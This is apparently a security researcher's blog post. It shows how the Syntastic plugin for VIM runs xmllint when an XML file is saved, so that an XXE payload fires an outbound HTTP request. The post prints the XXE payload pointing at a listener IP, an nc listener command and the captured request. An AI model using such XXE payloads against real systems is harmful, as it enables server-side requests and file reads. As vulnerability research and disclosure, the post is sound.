logo-unlock-security

Saving a payload in VIM can actually run it

Saving a payload in VIM can actually run it

Introduction

Many cybersecurity experts tend to rely on command-line tools despite the existence of graphical alternatives. In this article, we will analyze the behavior of a plugin for VIM when it comes to saving a payload for XXE (XML eXternal Entity).

VIM and its plugins

If you choose VIM editor, you will surely rely on some plugins to improve its appearance or add features. Two good examples of plugin managers for VIM are Vundle or Pathogen.

Personally, when I configured VIM at the time, I chose Vundle. I don't use VIM as my main editor, so I kept a rather simple configuration:

~/.vimrc
set rtp+=~/.vim/bundle/Vundle.vim call vundle#begin() " let Vundle manage Vundle, required Plugin 'VundleVim/Vundle.vim' Plugin 'scrooloose/nerdtree' " filesystem Plugin 'scrooloose/syntastic' " syntax checker Plugin 'vim-airline/vim-airline' " status/tabline Plugin 'vim-airline/vim-airline-themes' " themes for airline Plugin 'majutsushi/tagbar' " ctags Plugin 'yggdroot/indentline' " Indentation lines Plugin 'junegunn/fzf' " fzf for vim Plugin 'sjl/badwolf' " color scheme Plugin 'airblade/vim-gitgutter' " git diff in sign column Plugin 'ryanoasis/vim-devicons' " file type icons " All of your Plugins must be added before the following line call vundle#end() " required

So, why this preamble? We will get to it soon.

XML eXternal Entity (XXE)

While performing a penetration test we are hired for, we find a potential XXE and decide to test the possibility to do external HTTP requests with the following payload:

test.xml
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://10.10.24.1:8000/external.txt"> %sp; ]>

We use nc -nlvp 8000 to catch any requests to port 8000 and launch VIM to write down the XXE payload. As soon as we save the document, even before launching our attack, we receive an HTTP request from our own IP address, requesting right the source stated in the XML file:

Connection from 10.10.24.1:46940
GET /external.txt HTTP/1.0
Host: 10.10.24.1:8000
Accept-Encoding: gzip

So, something has decoded our file and run the query, but what? It is unlikely to be VIM itself, so it must have been one of its plugins.

Analysis

Among the installed plugins, the only ones involved in this specific case are Syntastic (for file syntax analysis) and Indentline (for code indentation). We discard the second option straight away and focus on Syntastic.

Analyzing the plugin code to understand the reason behind this behavior, we notice that in the "syntastic/syntax_checkers/xml/" folder there are two files: plutil.vim and xmllint.vim. This means that the plugin invokes some external executables to run the syntax analysis. To understand which one of the two files is being used, we keep analyzing the code until we reach this extract of the registry.vim file:

plugin/syntastic/registry.vim
if exists('g:loaded_syntastic_registry') || !exists('g:loaded_syntastic_plugin') finish endif let g:loaded_syntastic_registry = 1 " Initialisation {{{1 let s:_DEFAULT_CHECKERS = { " ... \ 'xml': ['xmllint'], " ... \ } lockvar! s:_DEFAULT_CHECKERS " ...

So, the default one between the two is xmllint.vim. Let’s check the file contents:

syntax_checkers/xml/xmllint.vim
"============================================================================ "File: xml.vim "Description: Syntax checking plugin for syntastic "Maintainer: Sebastian Kusnier <sebastian at kusnier dot net> "License: This program is free software. It comes without any warranty, " to the extent permitted by applicable law. You can redistribute " it and/or modify it under the terms of the Do What The Fuck You " Want To Public License, Version 2, as published by Sam Hocevar. " See http://sam.zoy.org/wtfpl/COPYING for more details. " "============================================================================ if exists('g:loaded_syntastic_xml_xmllint_checker') finish endif let g:loaded_syntastic_xml_xmllint_checker = 1 let s:save_cpo = &cpo set cpo&vim " You can use a local installation of DTDs to significantly speed up validation " and allow you to validate XML data without network access, see xmlcatalog(1) " and http://www.xmlsoft.org/catalog.html for more information. function! SyntaxCheckers_xml_xmllint_GetLocList() dict let makeprg = self.makeprgBuild({ \ 'args': '--xinclude --postvalid', \ 'args_after': '--noout' }) let errorformat= \ '%E%f:%l: error : %m,' . \ '%-G%f:%l: validity error : Validation failed: no DTD found %m,' . \ '%W%f:%l: warning : %m,' . \ '%W%f:%l: validity warning : %m,' . \ '%E%f:%l: validity error : %m,' . \ '%E%f:%l: parser error : %m,' . \ '%E%f:%l: %m,' . \ '%-Z%p^,' . \ '%-G%.%#' return SyntasticMake({ \ 'makeprg': makeprg, \ 'errorformat': errorformat, \ 'returns': [0, 1, 2, 3, 4, 5] }) endfunction call g:SyntasticRegistry.CreateAndRegisterChecker({ \ 'filetype': 'xml', \ 'name': 'xmllint'}) let &cpo = s:save_cpo unlet s:save_cpo " vim: set sw=4 sts=4 et fdm=marker:

The plugin grants the possibility to use external DTD files to validate an XML file, and it makes it by invoking xmllint in this way:

$ xmllint --xinclude --postvalid YOUR-FILE-NAME.xml --noout

As a matter of fact, running the same command again, we receive the HTTP request another time.

Conclusions

Unfortunately, further analysis demonstrated that it is not possible to create a payload able to execute commands or exfiltrate data. We are only allowed to read the file contents and do HTTP requests to arbitrary addresses — and no, it seems that we cannot do both altogether.

Although it seems that we cannot take full advantage of the vulnerability, it is indeed very interesting to think that a victim could run a request on our behalf, just by saving a file — an operation that, sometimes, may not be as harmless as it seems.

Francesco Marano
Francesco Marano
Founder | Cyber Security Consultant
www.unlock-security.it

I'm an offensive cyber security expert with several years of experience as penetration tester and team leader.I love making software do things other than what they were designed to do!I do security research to find new bugs and new ways to get access to IT assets. I'm a speaker at events talking about my research to share my findings and improve the awareness about cyber security issues.

Related Posts